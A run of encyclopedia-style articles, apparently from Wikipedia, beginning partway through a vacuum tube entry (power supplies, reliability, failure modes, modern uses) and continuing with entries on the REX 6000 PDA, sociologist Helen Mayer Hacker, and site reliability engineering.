A specialized tube is the krytron, which is used for rapid high-voltage switching. Krytrons are used to initiate the detonations used to set off a nuclear weapon; krytrons are heavily controlled at an international level.
X-ray tubes are used in medical imaging among other uses. X-ray tubes used for continuous-duty operation in fluoroscopy and CT imaging equipment may use a focused cathode and a rotating anode to dissipate the large amounts of heat thereby generated. These are housed in an oil-filled aluminum housing to provide cooling.
The photomultiplier tube is an extremely sensitive detector of light, which uses the photoelectric effect and secondary emission, rather than thermionic emission, to generate and amplify electrical signals. Nuclear medicine imaging equipment and liquid scintillation counters use photomultiplier tube arrays to detect low-intensity scintillation due to ionizing radiation.
The Ignatron tube was used in resistance welding equipment in the early 1970s. The Ignatron had a cathode, anode and an igniter. The tube base was filled with mercury and the tube was used as a very high current switch. A large current potential was placed between the anode and cathode of the tube but was only permitted to conduct when the igniter in contact with the mercury had enough current to vaporize the mercury and complete the circuit. Because this was used in resistance welding there were two Ignatrons for the two phases of an AC circuit. Because of the mercury at the bottom of the tube they were extremely difficult to ship. These tubes were eventually replaced by SCRs (Silicon Controlled Rectifiers).
Powering the tube
Batteries
Batteries provided the voltages required by tubes in early radio sets. Three different voltages were generally required, using three different batteries designated as the A, B, and C battery. The "A" battery or LT (low-tension) battery provided the filament voltage. Tube heaters were designed for single, double or triple-cell lead-acid batteries, giving nominal heater voltages of 2 V, 4 V or 6 V. In portable radios, dry batteries were sometimes used with 1.5 or 1 V heaters. Reducing filament consumption improved the life span of batteries. By 1955 towards the end of the tube era, tubes using only 50 mA down to as little as 10 mA for the heaters had been developed.
The high voltage applied to the anode (plate) was provided by the "B" battery or the HT (high-tension) supply or battery. These were generally of dry cell construction and typically came in 22.5-, 45-, 67.5-, 90-, 120- or 135-volt versions. After the use of B-batteries was phased out and rectified line-power was employed to produce the high voltage needed by tubes' plates, the term "B+" persisted in the US when referring to the high voltage source. Most of the rest of the English speaking world refers to this supply as just HT (high tension).
Early sets used a grid bias battery or "C" battery which was connected to provide a negative voltage. Since no current flows through a tube's grid connection, these batteries had no current drain and lasted the longest, usually limited by their own shelf life. The supply from the grid bias battery was rarely, if ever, disconnected when the radio was otherwise switched off. Even after AC power supplies became commonplace, some radio sets continued to be built with C batteries, as they would almost never need replacing. However more modern circuits were designed using cathode biasing, eliminating the need for a third power supply voltage; this became practical with tubes using indirect heating of the cathode along with the development of resistor/capacitor coupling which replaced earlier interstage transformers.
The "C battery" for bias is a designation having no relation to the "C cell" battery size.
AC power
Battery replacement was a major operating cost for early radio receiver users. The development of the battery eliminator, and, in 1925, batteryless receivers operated by household power, reduced operating costs and contributed to the growing popularity of radio. A power supply using a transformer with several windings, one or more rectifiers (which may themselves be vacuum tubes), and large filter capacitors provided the required direct current voltages from the alternating current source.
As a cost reduction measure, especially in high-volume consumer receivers, all the tube heaters could be connected in series across the AC supply using heaters requiring the same current and with a similar warm-up time. In one such design, a tap on the tube heater string supplied the 6 volts needed for the dial light. By deriving the high voltage from a half-wave rectifier directly connected to the AC mains, the heavy and costly power transformer was eliminated. This also allowed such receivers to operate on direct current, a so-called AC/DC receiver design. Many different US consumer AM radio manufacturers of the era used a virtually identical circuit, given the nickname All American Five.
Where the mains voltage was in the 100–120 V range, this limited voltage proved suitable only for low-power receivers. Television receivers either required a transformer or could use a voltage doubling circuit. Where 230 V nominal mains voltage was used, television receivers as well could dispense with a power transformer.
Transformer-less power supplies required safety precautions in their design to limit the shock hazard to users, such as electrically insulated cabinets and an interlock tying the power cord to the cabinet back, so the line cord was necessarily disconnected if the user or service person opened the cabinet. A cheater cord was a power cord ending in the special socket used by the safety interlock; servicers could then power the device with the hazardous voltages exposed.
To avoid the warm-up delay, "instant on" television receivers passed a small heating current through their tubes even when the set was nominally off. At switch on, full heating current was provided and the set would play almost immediately.
Reliability
One reliability problem of tubes with oxide cathodes is the possibility that the cathode may slowly become "poisoned" by gas molecules from other elements in the tube, which reduce its ability to emit electrons. Trapped gases or slow gas leaks can also damage the cathode or cause plate (anode) current runaway due to ionization of free gas molecules. Vacuum hardness and proper selection of construction materials are the major influences on tube lifetime. Depending on the material, temperature and construction, the surface material of the cathode may also diffuse onto other elements. The resistive heaters that heat the cathodes may break in a manner similar to incandescent lamp filaments, but rarely do, since they operate at much lower temperatures than lamps.
The heater's failure mode is typically a stress-related fracture of the tungsten wire or at a weld point and generally occurs after accruing many thermal (power on-off) cycles. Tungsten wire has a very low resistance when at room temperature. A negative temperature coefficient device, such as a thermistor, may be incorporated in the equipment's heater supply or a ramp-up circuit may be employed to allow the heater or filaments to reach operating temperature more gradually than if powered-up in a step-function. Low-cost radios had tubes with heaters connected in series, with a total voltage equal to that of the line (mains). Some receivers made before World War II had series-string heaters with total voltage less than that of the mains. Some had a resistance wire running the length of the power cord to drop the voltage to the tubes. Others had series resistors made like regular tubes; they were called ballast tubes.
Following World War II, tubes intended to be used in series heater strings were redesigned to all have the same ("controlled") warm-up time. Earlier designs had quite-different thermal time constants. The audio output stage, for instance, had a larger cathode and warmed up more slowly than lower-powered tubes. The result was that heaters that warmed up faster also temporarily had higher resistance, because of their positive temperature coefficient. This disproportionate resistance caused them to temporarily operate with heater voltages well above their ratings, and shortened their life.
Another important reliability problem is caused by air leakage into the tube. Usually oxygen in the air reacts chemically with the hot filament or cathode, quickly ruining it. Designers developed tube designs that sealed reliably. This was why most tubes were constructed of glass. Metal alloys (such as Cunife and Fernico) and glasses had been developed for light bulbs that expanded and contracted in similar amounts, as temperature changed. These made it easy to construct an insulating envelope of glass, while passing connection wires through the glass to the electrodes.
When a vacuum tube is overloaded or operated past its design dissipation, its anode (plate) may glow red. In consumer equipment, a glowing plate is universally a sign of an overloaded tube. However, some large transmitting tubes are designed to operate with their anodes at red, orange, or in rare cases, white heat.
"Special quality" versions of standard tubes were often made, designed for improved performance in some respect, such as a longer life cathode, low noise construction, mechanical ruggedness via ruggedized filaments, low microphony, for applications where the tube will spend much of its time cut off, etc. The only way to know the particular features of a special quality part is by reading the datasheet. Names may reflect the standard name (12AU7==>12AU7A, its equivalent ECC82==>E82CC, etc.), or be absolutely anything (standard and special-quality equivalents of the same tube include 12AU7, ECC82, B329, CV491, E2163, E812CC, M8136, CV4003, 6067, VX7058, 5814A and 12AU7A).
The longest recorded valve life was earned by a Mazda AC/P pentode valve (serial No. 4418) in operation at the BBC's main Northern Ireland transmitter at Lisnagarvey. The valve was in service from 1935 until 1961 and had a recorded life of 232,592 hours. The BBC maintained meticulous records of their valves' lives with periodic returns to their central valve stores.
Vacuum
A vacuum tube needs an extremely high vacuum (or hard vacuum, from X-ray terminology) to avoid the consequences of generating positive ions within the tube. Residual gas atoms ionize when struck by an electron and can adversely affect the cathode, reducing emission. Larger amounts of residual gas can create a visible glow discharge between the tube electrodes and cause overheating of the electrodes, producing more gas, damaging the tube and possibly other components due to excess current. To avoid these effects, the residual pressure within the tube must be low enough that the mean free path of an electron is much longer than the size of the tube (so an electron is unlikely to strike a residual atom and very few ionized atoms will be present). Commercial vacuum tubes are evacuated at manufacture to about .
To prevent gases from compromising the tube's vacuum, modern tubes are constructed with getters, which are usually metals that oxidize quickly, barium being the most common. For glass tubes, while the tube envelope is being evacuated, the internal parts except the getter are heated by RF induction heating to evolve any remaining gas from the metal parts. The tube is then sealed and the getter trough or pan, for flash getters, is heated to a high temperature, again by radio frequency induction heating, which causes the getter material to vaporize and react with any residual gas. The vapor is deposited on the inside of the glass envelope, leaving a silver-colored metallic patch that continues to absorb small amounts of gas that may leak into the tube during its working life. Great care is taken with the valve design to ensure this material is not deposited on any of the working electrodes. If a tube develops a serious leak in the envelope, this deposit turns a white color as it reacts with atmospheric oxygen. Large transmitting and specialized tubes often use more exotic getter materials, such as zirconium. Early gettered tubes used phosphorus-based getters, and these tubes are easily identifiable, as the phosphorus leaves a characteristic orange or rainbow deposit on the glass. The use of phosphorus was short-lived and was quickly replaced by the superior barium getters. Unlike the barium getters, the phosphorus did not absorb any further gases once it had fired.
Getters act by chemically combining with residual or infiltrating gases, but are unable to counteract (non-reactive) inert gases. A known problem, mostly affecting valves with large envelopes such as cathode ray tubes and camera tubes such as iconoscopes, orthicons, and image orthicons, comes from helium infiltration. The effect appears as impaired or absent functioning, and as a diffuse glow along the electron stream inside the tube. This effect cannot be rectified (short of re-evacuation and resealing), and is responsible for working examples of such tubes becoming rarer and rarer. Unused ("New Old Stock") tubes can also exhibit inert gas infiltration, so there is no long-term guarantee of these tube types surviving into the future.
Transmitting tubes
Large transmitting tubes have carbonized tungsten filaments containing a small trace (1% to 2%) of thorium. An extremely thin (molecular) layer of thorium atoms forms on the outside of the wire's carbonized layer and, when heated, serve as an efficient source of electrons. The thorium slowly evaporates from the wire surface, while new thorium atoms diffuse to the surface to replace them. Such thoriated tungsten cathodes usually deliver lifetimes in the tens of thousands of hours. The end-of-life scenario for a thoriated-tungsten filament is when the carbonized layer has mostly been converted back into another form of tungsten carbide and emission begins to drop off rapidly; a complete loss of thorium has never been found to be a factor in the end-of-life in a tube with this type of emitter.
WAAY-TV in Huntsville, Alabama achieved 163,000 hours (18.6 years) of service from an Eimac external cavity klystron in the visual circuit of its transmitter; this is the highest documented service life for this type of tube.
It has been said that transmitters with vacuum tubes are better able to survive lightning strikes than transistor transmitters do. While it was commonly believed that vacuum tubes were more efficient than solid-state circuits at RF power levels above approximately 20 kilowatts, this is no longer the case, especially in medium wave (AM broadcast) service where solid-state transmitters at nearly all power levels have measurably higher efficiency. FM broadcast transmitters with solid-state power amplifiers up to approximately 15kW also show better overall power efficiency than tube-based power amplifiers.
Receiving tubes
Cathodes in small "receiving" tubes are coated with a mixture of barium oxide and strontium oxide, sometimes with addition of calcium oxide or aluminium oxide. An electric heater is inserted into the cathode sleeve and insulated from it electrically by a coating of aluminum oxide. This complex construction causes barium and strontium atoms to diffuse to the surface of the cathode and emit electrons when heated to about 780 degrees Celsius.
Failure modes
Catastrophic failures
A catastrophic failure is one that suddenly makes the vacuum tube unusable. A crack in the glass envelope will allow air into the tube and destroy it. Cracks may result from stress in the glass, bent pins or impacts; tube sockets must allow for thermal expansion, to prevent stress in the glass at the pins. Stress may accumulate if a metal shield or other object presses on the tube envelope and causes differential heating of the glass. Glass may also be damaged by high-voltage arcing.
Tube heaters may also fail without warning, especially if exposed to over voltage or as a result of manufacturing defects. Tube heaters do not normally fail by evaporation like lamp filaments since they operate at much lower temperature. The surge of inrush current when the heater is first energized causes stress in the heater and can be avoided by slowly warming the heaters, gradually increasing current with a NTC thermistor included in the circuit. Tubes intended for series-string operation of the heaters across the supply have a specified controlled warm-up time to avoid excess voltage on some heaters as others warm up. Directly heated filament-type cathodes as used in battery-operated tubes or some rectifiers may fail if the filament sags, causing internal arcing. Excess heater-to-cathode voltage in indirectly heated cathodes can break down the insulation between elements and destroy the heater.
Arcing between tube elements can destroy the tube. An arc can be caused by applying voltage to the anode (plate) before the cathode has come up to operating temperature, or by drawing excess current through a rectifier, which damages the emission coating. Arcs can also be initiated by any loose material inside the tube, or by excess screen voltage. An arc inside the tube allows gas to evolve from the tube materials, and may deposit conductive material on internal insulating spacers.
Tube rectifiers have limited current capability and exceeding ratings will eventually destroy a tube.
Degenerative failures
Degenerative failures are those caused by the slow deterioration of performance over time.
Overheating of internal parts, such as control grids or mica spacer insulators, can result in trapped gas escaping into the tube; this can reduce performance. A getter is used to absorb gases evolved during tube operation but has only a limited ability to combine with gas. Control of the envelope temperature prevents some types of gassing. A tube with an unusually high level of internal gas may exhibit a visible blue glow when plate voltage is applied. The getter (being a highly reactive metal) is effective against many atmospheric gases but has no (or very limited) chemical reactivity to inert gases such as helium. One progressive type of failure, especially with physically large envelopes such as those used by camera tubes and cathode-ray tubes, comes from helium infiltration. The exact mechanism is not clear: the metal-to-glass lead-in seals are one possible infiltration site.
Gas and ions within the tube contribute to grid current which can disturb operation of a vacuum-tube circuit. Another effect of overheating is the slow deposit of metallic vapors on internal spacers, resulting in inter-element leakage.
Tubes on standby for long periods, with heater voltage applied, may develop high cathode interface resistance and display poor emission characteristics. This effect occurred especially in pulse and digital circuits, where tubes had no plate current flowing for extended times. Tubes designed specifically for this mode of operation were made.
Cathode depletion is the loss of emission after thousands of hours of normal use. Sometimes emission can be restored for a time by raising heater voltage, either for a short time or a permanent increase of a few percent. Cathode depletion was uncommon in signal tubes but was a frequent cause of failure of monochrome television cathode-ray tubes. Usable life of this expensive component was sometimes extended by fitting a boost transformer to increase heater voltage.
Other failures
Vacuum tubes may develop defects in operation that make an individual tube unsuitable in a given device, although it may perform satisfactorily in another application. Microphonics refers to internal vibrations of tube elements which modulate the tube's signal in an undesirable way; sound or vibration pick-up may affect the signals, or even cause uncontrolled howling if a feedback path (with greater than unity gain) develops between a microphonic tube and, for example, a loudspeaker. Leakage current between AC heaters and the cathode may couple into the circuit, or electrons emitted directly from the ends of the heater may also inject hum into the signal. Leakage current due to internal contamination may also inject noise. Some of these effects make tubes unsuitable for small-signal audio use, although unobjectionable for other purposes. Selecting the best of a batch of nominally identical tubes for critical applications can produce better results.
Tube pins can develop non-conducting or high resistance surface films due to heat or dirt. Pins can be cleaned to restore conductance.
Testing
Vacuum tubes can be tested outside of their circuitry using a vacuum tube tester.
Other vacuum tube devices
Most small signal vacuum tube devices have been superseded by semiconductors, but some vacuum tube electronic devices are still in common use. The magnetron is the type of tube used in all microwave ovens. In spite of the advancing state of the art in power semiconductor technology, the vacuum tube still has reliability and cost advantages for high-frequency RF power generation.
Some tubes, such as magnetrons, traveling-wave tubes, Carcinotrons, and klystrons, combine magnetic and electrostatic effects. These are efficient (usually narrow-band) RF generators and still find use in radar, microwave ovens and industrial heating. Traveling-wave tubes (TWTs) are very good amplifiers and are even used in some communications satellites. High-powered klystron amplifier tubes can provide hundreds of kilowatts in the UHF range.
Cathode ray tubes
The cathode ray tube (CRT) is a vacuum tube used particularly for display purposes. Although there are still many televisions and computer monitors using cathode ray tubes, they are rapidly being replaced by flat panel displays whose quality has greatly improved even as their prices drop. This is also true of digital oscilloscopes (based on internal computers and analog-to-digital converters), although traditional analog scopes (dependent upon CRTs) continue to be produced, are economical, and preferred by many technicians. At one time many radios used "magic eye tubes", a specialized sort of CRT used in place of a meter movement to indicate signal strength or input level in a tape recorder. A modern indicator device, the vacuum fluorescent display (VFD) is also a sort of cathode ray tube.
The X-ray tube is a type of cathode ray tube that generates X-rays when high voltage electrons hit the anode.
Gyrotrons or vacuum masers, used to generate high-power millimeter band waves, are magnetic vacuum tubes in which a small relativistic effect, due to the high voltage, is used for bunching the electrons. Gyrotrons can generate very high powers (hundreds of kilowatts).
Free-electron lasers, used to generate high-power coherent light and even X-rays, are highly relativistic vacuum tubes driven by high-energy particle accelerators. Thus, these are sorts of cathode ray tubes.
Electron multipliers
A photomultiplier is a phototube whose sensitivity is greatly increased through the use of electron multiplication. This works on the principle of secondary emission, whereby a single electron emitted by the photocathode strikes a special sort of anode known as a dynode causing more electrons to be released from that dynode. Those electrons are accelerated toward another dynode at a higher voltage, releasing more secondary electrons; as many as 15 such stages provide a huge amplification. Despite great advances in solid-state photodetectors, the single-photon detection capability of photomultiplier tubes makes this vacuum tube device excel in certain applications. Such a tube can also be used for detection of ionizing radiation as an alternative to the Geiger–Müller tube (itself not an actual vacuum tube). Historically, the image orthicon TV camera tube widely used in television studios prior to the development of modern CCD arrays also used multistage electron multiplication.
For decades, electron-tube designers tried to augment amplifying tubes with electron multipliers in order to increase gain, but these suffered from short life because the material used for the dynodes "poisoned" the tube's hot cathode. (For instance, the interesting RCA 1630 secondary-emission tube was marketed, but did not last.) However, eventually, Philips of the Netherlands developed the EFP60 tube that had a satisfactory lifetime and was used in at least one product, a laboratory pulse generator. By that time, however, transistors were rapidly improving, making such developments superfluous.
One variant called a "channel electron multiplier" does not use individual dynodes but consists of a curved tube, such as a helix, coated on the inside with material with good secondary emission. One type had a funnel of sorts to capture the secondary electrons. The continuous dynode was resistive, and its ends were connected to enough voltage to create repeated cascades of electrons. The microchannel plate consists of an array of single stage electron multipliers over an image plane; several of these can then be stacked. This can be used, for instance, as an image intensifier in which the discrete channels substitute for focussing.
Tektronix made a high-performance wideband oscilloscope CRT with a channel electron multiplier plate behind the phosphor layer. This plate was a bundled array of a huge number of short individual c.e.m. tubes that accepted a low-current beam and intensified it to provide a display of practical brightness. (The electron optics of the wideband electron gun could not provide enough current to directly excite the phosphor.)
Vacuum tubes in the 21st century
Niche applications
Although vacuum tubes have been largely replaced by solid-state devices in most amplifying, switching, and rectifying applications, there are certain exceptions. In addition to the special functions noted above, tubes have some niche applications.
In general, vacuum tubes are much less susceptible than corresponding solid-state components to transient overvoltages, such as mains voltage surges or lightning, the electromagnetic pulse effect of nuclear explosions, or geomagnetic storms produced by giant solar flares. This property kept them in use for certain military applications long after more practical and less expensive solid-state technology was available for the same applications, as for example with the MiG-25.
Vacuum tubes are still practical alternatives to solid-state devices in generating high power at radio frequencies in applications such as industrial radio frequency heating, particle accelerators, and broadcast transmitters. This is particularly true at microwave frequencies where such devices as the klystron and traveling-wave tube provide amplification at power levels unattainable using semiconductor devices. The household microwave oven uses a magnetron tube to efficiently generate hundreds of watts of microwave power. Solid-state devices such as gallium nitride are promising replacements, but are very expensive and still in development.
In military applications, a high-power vacuum tube can generate a 10–100 megawatt signal that can burn out an unprotected receiver's frontend. Such devices are considered non-nuclear electromagnetic weapons; they were introduced in the late 1990s by both the U.S. and Russia.
Audiophiles
Enough people prefer tube sound to make tube amplifiers commercially viable in three areas: musical instrument (e.g., guitar) amplifiers, devices used in recording studios, and audiophile equipment.
Many guitarists prefer using valve amplifiers to solid-state models, often due to the way they tend to distort when overdriven. Any amplifier can only accurately amplify a signal to a certain volume; past this limit, the amplifier will begin to distort the signal. Different circuits will distort the signal in different ways; some guitarists prefer the distortion characteristics of vacuum tubes. Most popular vintage models use vacuum tubes.
Displays
Cathode ray tube
The cathode ray tube was the dominant display technology for televisions and computer monitors at the start of the 21st century. However, rapid advances and falling prices of LCD flat panel technology soon took the place of CRTs in these devices. By 2010, most CRT production had ended.
Vacuum tubes using field electron emitters
In the early years of the 21st century there has been renewed interest in vacuum tubes, this time with the electron emitter formed on a flat silicon substrate, as in integrated circuit technology. This subject is now called vacuum nanoelectronics. The most common design uses a cold cathode in the form of a large-area field electron source (for example a field emitter array). With these devices, electrons are field-emitted from a large number of closely spaced individual emission sites.
Such integrated microtubes may find application in microwave devices including mobile phones, for Bluetooth and Wi-Fi transmission, and in radar and satellite communication. , they were being studied for possible applications in field emission display technology, but there were significant production problems.
As of 2014, NASA's Ames Research Center was reported to be working on vacuum-channel transistors produced using CMOS techniques.
Characteristics
Space charge of a vacuum tube
When a cathode is heated and reaches an operating temperature around 1050° Kelvin (777° Celsius), free electrons are driven from its surface. These free electrons form a cloud in the empty space between the Cathode and the anode, known as the space charge. This space charge cloud supplies the electrons that create the current flow from the cathode to the anode. As electrons are drawn to the anode during the operation of the circuit, new electrons will boil off the cathode to replenish the space charge. The space charge is an example of an electric field.
Voltage - Current characteristics of vacuum tube
All tubes with one or more control grids are controlled by an AC (Alternating Current) input voltage applied to the control grid, while the resulting amplified signal appears at the anode as a current. Due to the high voltage placed on the anode, a relatively small anode current can represent a considerable increase in energy over the value of the original signal voltage. The space charge electrons driven off the heated cathode are strongly attracted the positive anode. The control grid(s) in a tube mediate this current flow by combining the small AC signal current with the grid's slightly negative value. When the signal sine (AC) wave is applied to the grid, it rides on this negative value, driving it both positive and negative as the AC signal wave changes.
This relationship is shown with a set of Plate Characteristics curves, (see example above,) which visually display how the output current from the anode () can be affected by a small input voltage applied on the grid (), for any given voltage on the plate(anode) ().
Every tube has a unique set of such characteristic curves. The curves graphically relate the changes to the instantaneous plate current driven by a much smaller change in the grid-to-cathode voltage () as the input signal varies.
The V-I characteristic depends upon the size and material of the plate and cathode.
Express the ratio between voltage plate and plate current.
V-I curve (Voltage across filaments, plate current)
Plate current, plate voltage characteristics
DC plate resistance of the plate—resistance of the path between anode and cathode of direct current
AC plate resistance of the plate—resistance of the path between anode and cathode of alternating current
Size of electrostatic field
Size of electrostatic field is the size between two or more plates in the tube.
Patents
—Instrument for converting alternating electric currents into continuous currents (Fleming valve patent)
—Device for amplifying feeble electrical currents
—de Forest's three electrode Audion
See also
Bogey value—close to manufacturer's stated parameter values
Fetron—a solid-state, plug-compatible, replacement for vacuum tubes
List of vacuum tubes—a list of type numbers.
List of vacuum-tube computers
Mullard–Philips tube designation
Nixie tube—a gas-filled display device sometimes misidentified as a vacuum tube
RETMA tube designation
RMA tube designation
Russian tube designations
Tube caddy
Tube tester
Valve amplifier
Zetatron
Explanatory notes
References
Further reading
Eastman, Austin V., Fundamentals of Vacuum Tubes, McGraw-Hill, 1949
Millman, J. & Seely, S. Electronics, 2nd ed. McGraw-Hill, 1951.
Philips Technical Library. Books published in the UK in the 1940s and 1950s by Cleaver Hume Press on design and application of vacuum tubes.
RCA. Radiotron Designer's Handbook, 1953 (4th Edition). Contains chapters on the design and application of receiving tubes.
RCA. Receiving Tube Manual, RC15, RC26 (1947, 1968) Issued every two years, contains details of the technical specs of the tubes that RCA sold.
Shiers, George, "The First Electron Tube", Scientific American, March 1969, p. 104.
Stokes, John, 70 Years of Radio Tubes and Valves, Vestal Press, New York, 1982, pp. 3–9.
Thrower, Keith, History of the British Radio Valve to 1940, MMA International, 1982, pp 9–13.
Tyne, Gerald, Saga of the Vacuum Tube, Ziff Publishing, 1943, (reprint 1994 Prompt Publications), pp. 30–83.
Basic Electronics: Volumes 1–5; Van Valkenburgh, Nooger & Neville Inc.; John F. Rider Publisher; 1955.
Wireless World. Radio Designer's Handbook. UK reprint of the above.
"Vacuum Tube Design"; 1940; RCA.
External links
The Vacuum Tube FAQ—FAQ from rec.audio
The invention of the thermionic valve. Fleming discovers the thermionic (or oscillation) valve, or 'diode'.
"Tubes Vs. Transistors: Is There an Audible Difference?"—1972 AES paper on audible differences in sound quality between vacuum tubes and transistors.
The Virtual Valve Museum
The cathode ray tube site
O'Neill's Electronic museum—vacuum tube museum
Vacuum tubes for beginners—Japanese Version
NJ7P Tube Database—Data manual for tubes used in North America.
Vacuum tube data sheet locator
Characteristics and datasheets
Tuning eye tubes
1904 in science
1904 in technology
Electrical components
English inventions
Glass applications
Telecommunications-related introductions in 1904
Vacuum
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https://en.wikipedia.org/wiki/REX%206000
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REX 6000
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The REX 6000 is an ultra-thin Personal Digital Assistant (PDA) produced by Xircom, and later Intel, from about 2000 to 2001. Its primary claim to fame is as "The world's smallest full-function PDA", due to its unusual physical configuration as a PC card Type-II card (8.57 × 5.40 × .5 cm; 40 g). The REX may be synchronized by inserting it in a host PC's PCMCIA/PC-card slot. Docking stations were manufactured for connection to hosts without PC card Type-II slots, which allows the REX to be connected via a USB or serial connection.
The REX 6000 is the successor to the Franklin REX 5000, with a notable difference being the addition of a touch screen. In addition, it is possible to remove and install executable code (including both custom applications and the operating system itself). As with the earlier models, the REX 6000 hardware was developed by the Citizen Watch Company of Japan, marketed as the "DataSlim-2". The firmware for previous REX models was written by Starfish Software, but the REX 6000, though modeled on previous versions, included a complete re-write of the firmware.
The REX 6000 does not support handwriting recognition and to enter data, a virtual keyboard is used. The standard REX 6000 has an American keyboard layout, although third-party software allows for other keyboard layouts. The pre-installed software for the Rex consists of the following:
Calendar
Address book
To-do list
Notebook
World clock
Calculator
Third-party software ("add-ins") include games, painting programs, spreadsheets and replacements or improvements of the pre-installed software. Most third-party software has been developed in spare time by interested users using customized versions of the Z88DK compiler or the Small Device C Compiler (SDCC).
The earliest release of the REX 6000 had 1 MB of flash memory, while later releases doubled this to 2 MB. (Earlier REXes stored user data in RAM with the operating system in ROM.) The REX has 32 KB of RAM, but only 12 KB is available for application developers. It uses a 4.3 MHz Toshiba microprocessor compatible to the Zilog Z80, has a 240 × 120 pixel monochrome LCD, and is capable of providing beep sounds to deliver alarms and reminders. The REX 6000 is powered by two button-type CR2016 lithium cells.
Around 2002 Intel acquired Xircom and subsequently discontinued this product line.
External links
The Rex 6000 Help Page (February 2012 version on the Internet Archive: The Rex 6000 Help Page)
Rex 6000 website with addins and other useful info.
Intel's official Rex 6000 page
A forum for Rex discussion
References
Personal digital assistants
Citizen Watch
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https://en.wikipedia.org/wiki/Helen%20Mayer%20Hacker
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Helen Mayer Hacker
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Helen Mayer Hacker is a sociologist, social activist, feminist and author. She is the first scholar to discuss women as a minority group.
Life and education
Hacker was raised in Minneapolis. She was adopted by a Jewish family.
Hacker dropped out of high school and undertook classes at the University of Minnesota in the 1930s. She earned her PhD in Sociology from Columbia University in 1961. Hacker wrote and taught about sociology. She retired from Adelphi University.
Sociology
Hacker studied family, sexuality, gender and marginalized groups, and it paved the way to the exploration of new topics in sociology. Her fundamental contributions became a foundation of such studies in the discipline. Hacker explored social margins and was the first to classify women as a minority — she published Women as a Minority Group in 1951. By doing so, Hacker raised discussions like (1) The extent by which women can be classified as a minority group and (2) What would degendering be like, and whether the attainment of such would a desirable outcome. The work greatly contributed to second wave feminism.
Hacker established herself as a feminist sociologist onwards, although she faced struggles as a single and divorced woman as it was not socially acceptable as it is nowadays.
Hacker's second popular work, The New Burdens of Masculinity (1957) is a critical exploration of masculinity studies, which only became popular until the mid-1980s. In The New Burden of Masculinity, Hacker theorized the source of difficulties and the contradictions concerning masculinity — together with the ambiguity that emerged due to the changes brought by the contemporary times — for instance, through the increase of women in the workforce and its effects on long-held family dynamics. Hacker also scrutinized whether the erosion of traditional and dominant male status is the cause of several problems in the society, such as in the economic arena. It was later coined as mancession.
Women as a Minority Group and The New Burdens of Masculinity was cited many times by eminent gender scholars, including Arlie Hochschild and Joan Acker.
Selected works
Towards a Definition of Role Conflict in Modern Women (1949)
Women as a Minority Group (1951)
The New Burdens of Masculinity (1957)
A Functional Approach to the Gainful Employment of Married Women (1961)
The Feminine Protest of the Working Wife (1966)
Sex Roles in Black Society: Caste Versus Caste (1972)
Sexuality, Women's Liberation, and Sex Education (1974)
Gender and Sex in Society (1975)
The Social Roles of Women and Men: A Sociological Approach (1975)
Women as a Minority Group: Twenty Years Later (1975)
References
University of Minnesota alumni
American women sociologists
American sociologists
Living people
Year of birth missing (living people)
Adelphi University faculty
Columbia University alumni
21st-century American women
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https://en.wikipedia.org/wiki/Site%20reliability%20engineering
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Site reliability engineering
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Site reliability engineering (SRE) is a set of principles and practices that incorporates aspects of software engineering and applies them to infrastructure and operations problems. The main goals are to create scalable and highly reliable software systems. Site reliability engineering is closely related to DevOps, a set of practices that combine software development and IT operations, and SRE has also been described as a specific implementation of DevOps.
History
The field of site reliability engineering originated at Google with Ben Treynor Sloss, who founded a site reliability team after joining the company in 2003. In 2016, Google employed more than 1,000 site reliability engineers. After originating at Google in 2003, the concept spread into the broader software development industry, and other companies subsequently began to employ site reliability engineers. The position is more common at larger web companies, as small companies often don't operate at a scale that would require dedicated SREs. Organizations who have adopted the concept include Airbnb, Dropbox, IBM, LinkedIn, Netflix and Wikimedia. According to a 2021 report by the DevOps Institute, 22% of organizations in a survey of 2,000 respondents had adopted the SRE model.
Definition
Site reliability engineering, as a job role, may be performed by solo practitioners or organized in teams usually being responsible for a combination of the following within a broader engineering organization: System availability, latency, performance, efficiency, change management, monitoring, emergency response, and capacity planning. Site reliability engineers often have backgrounds in software engineering, system engineering, or system administration. Focuses of site reliability engineering include automation, system design, and improvements to system resilience.
Site reliability engineering, as a set of principles and practices, can be performed by anyone. SRE is similar to Security engineering in the way that anyone is expected to contribute to good security practices, but a company may decide to eventually staff specialists for the job. Conversely, for securing internet systems, companies may hire Security Engineers and to define and ensure their reliability goals, companies may hire SREs instead.
Site reliability engineering has also been described as a specific implementation of DevOps but it focuses specifically on building reliable systems, whereas DevOps is more broadly focused on infrastructure.
Stephen Gossett wrote in Built In that some companies have rebranded their operations teams to SRE teams with little meaningful change. This is also perceived to be true for operations teams rebranded to be called DevOps teams.
Principles and practices
There have been multiple attempts of defining a canonical list of site reliability engineering principles, but while consensus is lacking, the following characteristics are usually included in most of such definitions:
Automation or elimination of anything repetitive that's also cost-effective to automate or eliminate.
Avoidance to pursue much more reliability than what's strictly necessary. Defining what's necessary is a practice by itself (see list of practices below).
Systems design with a bias toward reduction of risks to availability, latency, and efficiency.
Observability, as in, the ability to be able to ask arbitrary questions about your system without having to know ahead of time what you wanted to ask.
The site reliability engineering practices also vary widely, but the list below is relatively commonly seen being at least partially implemented:
Toil management as the implementation of the first principle outlined above.
Defining and measuring reliability goals—SLIs, SLOs, and error budgets.
Non-Abstract Large Scale Systems Design (NALSD) with a focus on reliability.
Designing for and implementing observability.
Defining, testing, and running an incident management process.
Capacity planning.
Change and release management, including CI/CD.
Chaos engineering.
Implementations
Site reliability engineering teams engage with the other teams within their companies and the SRE principles and practices in various forms. Here is a high level overview of common SRE team implementations:
Kitchen Sink, a.k.a. “Everything SRE”
Scope of services or workflows covered is usually unbounded.
Infrastructure
Focuses on the reliability of behind-the-scenes systems that help make other teams' jobs more efficient. These are often confused with "Platform" teams or "Platform Operations" teams. Infrastructure SRE teams may pair up with one or more platform engineering team(s), but they differ in that Infrastructure SRE teams focuses on performing most, if not all, of the work described in the principles and practices list above. Platform teams tend to focus on building the platform and while reliability is desirable that's not their sole priority.
Tools
Focuses on tools to measure, maintain, and improve system reliability.
Product or application
SRE team for product and/or application. Some large companies tend to staff several of these.
Embedded
Usually SRE solo practitioners or pairs staffed within a software engineering team to apply most of the principles and practices described above.
Consulting
Consult on how to implement SRE principles and practices. These are usually experienced SREs who've worked on teams in one or several of the implementations above. SREs on external facing consulting SRE teams are often called "Customer Reliability Engineers". They rarely, if ever, change customer's configuration or code.
